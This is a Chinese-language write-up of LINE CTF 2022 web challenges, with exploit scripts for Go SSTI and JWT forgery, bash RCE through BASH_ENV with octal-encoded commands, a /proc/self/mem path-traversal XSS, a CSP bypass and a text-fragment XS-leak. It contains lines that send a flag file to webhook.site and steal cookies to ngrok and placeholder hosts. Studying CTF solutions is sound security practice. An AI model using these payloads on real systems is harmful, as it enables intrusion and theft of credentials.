LINE CTF 2022 Writeups

在 Goburin' 裡面解了幾題 LINE CTF 的 web 題目,因為有幾題有趣的 client side challenges 所以寫了這篇記錄一些解法。

gotm

一個 golang 的服務,提供了 register 和 login,以 JWT 做認證。目標是要 sign 一個 admin 的 JWT 就能拿 flag。

題目的關鍵在這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
type Account struct {
id string
pw string
is_admin bool
secret_key string
}

// omitted...

func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
fmt.Println(id)
acc := get_account(id)
fmt.Println(acc)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {

return
}
}

其中 acc.id 是註冊的 username,使用者可控,所以有 SSTI。因為 acc 上有 secret_key 所以可以用 {{.}} leak 出來,然後 JWT sign 自己的 token 即可。

1
2
3
4
5
6
curl 'http://34.146.226.125/regist' --data 'id={{.}}&pw=asd'
curl 'http://34.146.226.125/auth' --data 'id={{.}}&pw=asd'
curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.rthp4OaE1Iau8Q9PIxoB-F9VGukYpbX1I-GpPPDSGhM'
# secret_key: fasdf972u1031xu90zm10Av
curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InBla28iLCJpc19hZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ4MzE1NDMxfQ.CBzvISXJXsSScg8pvb0okNUKolceJabxYoD9hrSdRmU'
# LINECTF{country_roads_takes_me_home}

bb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);

function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>

它會從 env[k]=v 參數設定環境變數,然後執行 bash。目標是要 RCE 讀 /flag

看到這題就讓我想到了不久前看到的這篇 tweet (還有它所連結的文章),裡面介紹了一些怎麼在只有環境變數可控的時候讓 bash RCE。(可上傳檔案的話有 LD_PRELOAD)

它主要有兩個方法:

1
2
BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

因為一些未知的原因 BASH_FUNC_imdude 我在 Docker 環境中測試都失敗,但 local 直接跑 php -S 有成功,所以採用了 BASH_ENV 的路線。

可注入之後還要繞它不能有英文字母的 filter,這部分用像是 $'\151\144' ($'id') 這樣的 octal encoding 去繞即可。

因為有一些 encoding 要弄所以寫個腳本生 payload 比較方便:

1
2
3
4
5
6
7
8
9
10
11
from urllib.parse import quote_plus

cmd = b"curl https://webhook.site/62cc2e32-cce1-49de-9528-a11a4476d9e5 -F flag=@/flag"
parts = cmd.split(b' ')
cmd = ["$'"+''.join([f'\\{x:03o}' for x in p])+"'" for p in parts]
cmd = ' '.join(cmd)

payload = "$(%s)" % cmd
print(payload)
print(quote_plus(payload))
# LINECTF{well..what_do_you_think_about}

生成的 url 是:

1
http://34.84.151.109/?env[BASH_ENV]=%24%28%24%27%5C143%5C165%5C162%5C154%27+%24%27%5C150%5C164%5C164%5C160%5C163%5C072%5C057%5C057%5C167%5C145%5C142%5C150%5C157%5C157%5C153%5C056%5C163%5C151%5C164%5C145%5C057%5C066%5C062%5C143%5C143%5C062%5C145%5C063%5C062%5C055%5C143%5C143%5C145%5C061%5C055%5C064%5C071%5C144%5C145%5C055%5C071%5C065%5C062%5C070%5C055%5C141%5C061%5C061%5C141%5C064%5C064%5C067%5C066%5C144%5C071%5C145%5C065%27+%24%27%5C055%5C106%27+%24%27%5C146%5C154%5C141%5C147%5C075%5C100%5C057%5C146%5C154%5C141%5C147%27%29

online library

這題有個 node.js 的服務,目標要用 xss 拿 bot 的 cookie。bot 的話只接受該服務上的任意 path,不能是外部的網址。

此題關鍵在這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
app.get("/:t/:s/:e", (req: Express.Request, res: Express.Response): void => {
const s: number = Number(req.params.s)
const e: number = Number(req.params.e)
const t: string = req.params.t

if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
res.end("Invalid character in book title.")
} else {
Fs.stat(`public/${t}`, (err: NodeJS.ErrnoException, stats: Fs.Stats): void => {
if (err) {
res.end("No such a book in bookself.")
} else {
if (s !== NaN && e !== NaN && s < e) {
if ((e - s) > (1024 * 256)) {
res.end("Too large to read.")
} else {
Fs.open(`public/${t}`, "r", (err: NodeJS.ErrnoException, fd: any): void => {
if (err || typeof fd !== "number") {
res.end("Invalid argument.")
} else {
let buf: Buffer = Buffer.alloc(e - s);
Fs.read(fd, buf, 0, (e - s), s, (err: NodeJS.ErrnoException, bytesRead: number, buf: Buffer): void => {
res.end(`<h1>${t}</h1><hr/>` + buf.toString("utf-8"))
})
}
})
}
} else {
res.end("There isn't size of book.")
}
}
})
}
});

這是一個可以指定檔名,還有 start 和 end 位置去讀檔的 route。

明顯的有個 path traversal 可以任意讀檔,例如 /..%2f..%2fproc%2fself%2fenviron/0/1024 可以讀環境變數。要 xss 的話很明顯是要想辦法找個 file system 中的檔案,裡面有存放 payload 的話就能 xss。

這題有使用 express-session 處理 session,不過它預設是使用 memory store 作為 session store 的,不會在 file system 留檔案。另外這個 container 裡面也沒有 nginx 或是 apache 之類的服務可以 LFI (e.g. PHP LFI with Nginx Assistance)。

我的做法是想說 /proc/self/mem 會是當前 node process 的記憶體,代表 payload 肯定會存在於某個 offset 中。使用 /proc/self/maps 就能取得目前記憶體中有哪些 pages,合理猜測變數存在的 v8 heap 大概是 rw page,所以 filter 過後嘗試去讀取各個 page 的內容看看裡面有沒有藏 payload 就能得到有 xss 的 url。

為了增加成功率可以利用 POST /identify 這個 route 有個 total.push(req.body.username),其中 total 是個會定時清除的 global array。只要先讓 payload 進到 total 的話它在我們找到目標 page 之前被 gc 的機率比較低。

另外還有一些小麻煩是 submit xss 時要 handle 的自幹的 captcha,不過因為那是直接用 canvas 畫的,字體都很端正、乾淨所以用 pytesseract 就能解決。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import requests
import os
import pytesseract
from PIL import Image
from urllib.request import urlopen
import io

# baseurl = "http://localhost:10100"
baseurl = "http://35.243.100.112"


def build_url(path: str, start, end) -> str:
return baseurl + "/" + path.replace("/", "%2f") + f"/{start}/{end}"


def read_file(path: str, start=0, end=1024 * 256) -> bytes:
return requests.get(build_url(path, start, end)).content.split(b"<hr/>")[1]


def parse_maps(maps: str):
ar = []
for line in maps.strip("\0\r\n ").splitlines():
mem, perm, *_ = line.split(" ")
start, end = [int(x, 16) for x in mem.split("-")]
ar.append((start, end, perm))
return ar


def read_mem(start, end, bs=1024 * 256):
if (end - start) // bs > 5:
# too big, ignore
return b""
ret = b""
for i in range(start, end, bs):
s = i
e = min(i + bs, end)
ret += read_file("../../proc/self/mem", s, e)
return ret


def get_sess():
sess = requests.Session()
username = "<script>new Image().src='https://9295-8-39-126-53.ngrok.io?'+document.cookie</script>"
username += os.urandom(128).hex()[: (99 - len(username))]
j = sess.post(baseurl + "/identify", data={"username": username}).json()
assert not j["error"]
return username, sess


def get_captcha(sess):
imgb64 = sess.get(baseurl + "/report").text.split('<img src="')[1].split('"/>')[0]
resp = urlopen(imgb64)
img = Image.open(io.BytesIO(resp.file.read()))
captcha = pytesseract.image_to_string(img).strip()
return captcha


def report_path(sess, path):
resp = sess.post(
baseurl + "/report", {"captcha": get_captcha(sess), "url": url[len(baseurl) :]}
).json()
if resp["error"]:
return report_path(sess, path)
return resp


selfmaps = read_file("../../proc/self/maps").decode()
rw_pages = [(s, e) for s, e, p in parse_maps(selfmaps) if "rw" in p]
print(rw_pages)

username, sess = get_sess()
for i, page in enumerate(rw_pages):
print(i)
mem = read_mem(*page)
if username.encode() in mem:
print("found", page)
url = build_url("../../proc/self/mem", *page)
print(url)
print(report_path(sess, url[len(baseurl) :]))

# LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}

Haribote Secure Note

這題是個 flask 的 note 服務,目標也是要用 xss 拿 bot 的 cookie。

可以看到說它的 template 檔案名稱都是以 .j2 結尾。雖然一樣是 Jinja2 template,但是很快就會發現它根本不會 escape html。這個是因為 flask 預設只會 escape HTML/XML/XHTML,所以有很多注入點。

不過這題麻煩的是它的 CSP 如下:

1
2
default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-{{ csp_nonce }}'
'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default

Inline 需要有 nonce,要不然就要 trusted types:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script nonce="{{ csp_nonce }}">
(() => {
trustedTypes.createPolicy("default", {
createHTML(unsafe) {
return unsafe
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/"/g, "&#039;")
}
});
})();
</script>

可以到它這個很難繞,因為所有的 innerHTML assignment 都會經過這個 filter 而被擋下。

題目的一個關鍵是它有個 display name 可以自由設定,長度限制在 16 以內。它會被放到這邊的 shared_user_name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = "{{ shared_user_name }}";

const div = document.createElement('div');
div.classList.add('alert')
div.classList.add('alert-warning')
div.innerHTML = [
`[debug:${new Date().toISOString()}]`,
`UserId="${sharedUserId}"`,
`DisplayName="${sharedUserName}"`
].join(' ');
const sharedUserInfo = document.getElementById('sharedUserInfo');
sharedUserInfo.replaceChildren(div);
}

const printInfoBtn = document.getElementById('printInfoBtn');
printInfoBtn.addEventListener('click', printInfo);
</script>

使用 "+alert(1)+" 可以有個非常簡短的 xss,但是因為 CSP 的原因沒辦法用 eval 相關的方法繞。

PS: bot 會點擊 #printInfoBtn

另一個地方是這邊:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script nonce="{{ csp_nonce }}">
const render = notes => {
const noteArea = document.getElementById("notes");

notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
for (const note of notes) {
const noteDiv = document.createElement("div");
noteDiv.classList.add("p-2")
noteDiv.classList.add("bg-light")
noteDiv.classList.add("border")

const title = document.createElement("h2");
title.innerHTML = note.title;
noteDiv.appendChild(title);

const content = document.createElement("p");
content.innerHTML = note.content;
noteDiv.appendChild(content);

const createdAt = document.createElement("time");
createdAt.innerHTML = `Created at: ${note.createdAt}`;
noteDiv.appendChild(createdAt)

noteArea.appendChild(noteDiv);
}
};
render({{ notes }})
</script>

其中的 notes 是個 python array,放在會直接被 Jinja2 透過 str 或是 repr 轉成 string,不過因為 python 和 javascript 都能使用 single quote 包住 string 所以不是問題。

顯然的,只要讓你的 note 的 title 或是 content 裡面出現 </script> 就能脫離 script tag inject 任意 html。

我的做法是利用了這篇提到的 bypass,就是在有 nonce 的 script tag 中出現 import('data:text/javascript,alert(1)') 的話是可以執行的。

因此方法到這邊就很明確了,在 display name 那邊塞 "+import(y)+",然後用 <a> dom clobbering 放 payload 即可。因為 title 和 content 分別有 64 和 128 的長度限制,我還要用另一個 <a> 去塞 url。

完整的 payload:

1
2
3
4
5
6
7
8
9
10
display name:
"+import(y)+"

title:
</script><a id=x href="//SERVER"></a>

content:
<a id=y href="data:text/javascript,open(x+`?`+document.cookie);alert()"></a>

# LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}

另外這題還有一些不同的作法,一個可以看這篇,它使用的是 javascript + html 的 comment 混和讓 parser 進入了 script data double escaped state,然後成功在 content 放 js payload 執行。

另一個做法比較接近我的 idea,就是注入 <iframe src=/p name=f></iframe>,然後一樣是 dom clobbering 去塞 payload。而 display name inject 的程式碼是 f.eval(p) 這樣弄。因為它 CSP 是利用 html meta tag 弄的,所以不存在的頁面沒有 CSP,自然可以 eval。

題名的 ハリボテ (Haribote) 去查了一下意義,在中文中大致可表示為 "紙老虎"。解完也真的是覺得它保護很多,但實際上也只是紙老虎而已

title todo

這題是另一個 flask 服務,一樣有個 xss bot 在。但這題的 flag 格式是 LINECTF{([0-9a-f]/){10}},看起來就一股 side channel 的味道。

題目允許你上傳圖片並指定 title,然後將生成的頁面 share 給 admin。CSP 也是相當的嚴格,至少我想不到繞過的辦法。

題目的第一個洞是 image.html 裡面的這行:

1
<img src={{ image.url }} class="mb-3">

因為它沒 quote src 起來所以可以注入其他的 attribute,只是因為 CSP 所以沒有 xss,也沒有 css injection 等等。

另外它上傳和新增頁面部分的 code 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@app.route('/image/upload', methods=['POST'])
@login_required
def upload_image():
img_file = request.files['img_file']
if img_file:
ext = os.path.splitext(img_file.filename)[1]
if ext in ['.jpg', '.png']:
filename = uuid4().hex + ext

img_path = os.path.join(app.config.get('UPLOAD_FOLDER'), filename)
img_file.save(img_path)

return jsonify({'img_url': f'/static/image/{filename}'}), 200

return jsonify({}), 400


@app.route('/image', methods=['GET', 'POST'])
@login_required
def create_image():
if request.method == 'POST':
title = request.form.get('title')
img_url = request.form.get('img_url')

if title and img_url:
if not img_url.startswith('/static/image/'):
flash('Image creation failed')
return redirect(url_for('create_image'))

image = Image(title=title, url=img_url, owner=current_user)
db.session.add(image)
db.session.commit()
res = redirect(url_for('index'))
res.headers['X-ImageId'] = image.id
return res
return redirect(url_for('create_image'))

elif request.method == 'GET':
return render_template('create_image.html')

可見它是分開兩步驟上傳的。POST /image/upload 之後會先拿到上傳之後的 path,然後 POST /image 時順便提供 img_url,而 img_url 因為只檢查了開頭所以後面塞空白就在上面那個地方注入 attribute。

另一個很重要的關鍵是它的 nginx.conf 有這段:

1
2
3
4
5
6
7
8
9
10
location /static {
uwsgi_cache one;
uwsgi_cache_valid 200 5m;
uwsgi_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary;

include uwsgi_params;
uwsgi_pass app;

add_header X-Cache-Status $upstream_cache_status;
}

可知它會 cache /static 底下的 path 五分鐘,然後 cache status 會放到 X-Cache-Status 這個 header 之中。

另外是當 admin 瀏覽頁面的時候會在 footer 出現 flag:

1
2
3
4
5
<footer class="footer">
{% if current_user.is_admin %}
{{ config.get('FLAG') }}
{% endif %}
</footer>

我的作法使用了 Scroll to Text Fragment,它就是在 hash 的部分放上 #:~:text=something 之類的字串,然後瀏覽器會自動 scroll 到目標字串去而已(如果字串存在的話)。

這個的一個常見打法是結合 <img>loading="lazy" attribute,只有在 image 進入 viewport 的時候瀏覽器才會去發送 request 載入圖片。只要在 title 塞很長很長的東西,然後用 attribute injection 讓它 lazy load 圖片的話瀏覽器預設是不會發送 request 到 /static/???.jpg 的。

但是 flag 的位置是在 footer,當 #:~:text=LINECTF{ 有 match 到的話它就會自動 scroll 到底部,而 <img> 會進到 viewport 然後會發送 request 給 /static/???.jpg。因為有 X-Cache-Status 的存在,可以簡單的利用它是 HIT 還是 MISS 判斷圖片是否有被載入過,也就是有沒有 match 到 flag prefix 後 scroll 到底部。

由此就有個判斷 flag prefix 的 oracle,之後直接爆搜就能還原整個 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import httpx
import time
import asyncio

with open("white.jpg", "rb") as f:
white_jpg = f.read()


async def upload(client: httpx.Client, name: str, data: bytes) -> str:
resp = await client.post("/image/upload", files={"img_file": (name, data)})
return resp.json()["img_url"]


async def create_image(client: httpx.Client, title: str, img_url: str) -> str:
resp = await client.post(
"/image", data={"title": title, "img_url": img_url}, allow_redirects=False
)
return resp.headers.get("X-ImageId")


async def share(client: httpx.Client, path: str):
await client.post("/share", json={"path": path})


async def check_cached(client: httpx.Client, path: str) -> bool:
return (await client.get(path)).headers["X-Cache-Status"] == "HIT"


async def check_flag_prefix(client: httpx.Client, prefix: str) -> bool:
img_path = await upload(client, "white.jpg", white_jpg)
img_id = await create_image(client, b"x" * 2048, img_path + " loading=lazy")
await share(client, f"image/{img_id}#:~:text={prefix}")
await asyncio.sleep(1)
return await check_cached(client, img_path)


async def main():
# base_url = "http://localhost"
base_url = "http://35.187.204.223"
async with httpx.AsyncClient(base_url=base_url) as client:
await client.post(
"/login", data={"username": "supernene", "password": "supernene"}
)
# Can't use asyncio.gather because bot is sequential QAQ
flag = "LINECTF{"
while True:
cands = [f"{flag}{i:x}/" for i in range(16)]
for cand in cands:
if await check_flag_prefix(client, cand):
flag = cand
break
else:
flag += "}"
break
print(flag)
print(flag)
# LINECTF{0/5/d/b/a/e/e/7/c/c/}


asyncio.run(main())

flag 之所以要加上 / 是因為 Chromium 在 match 的時候只會 match 整個 word,比較好避免這種 side channel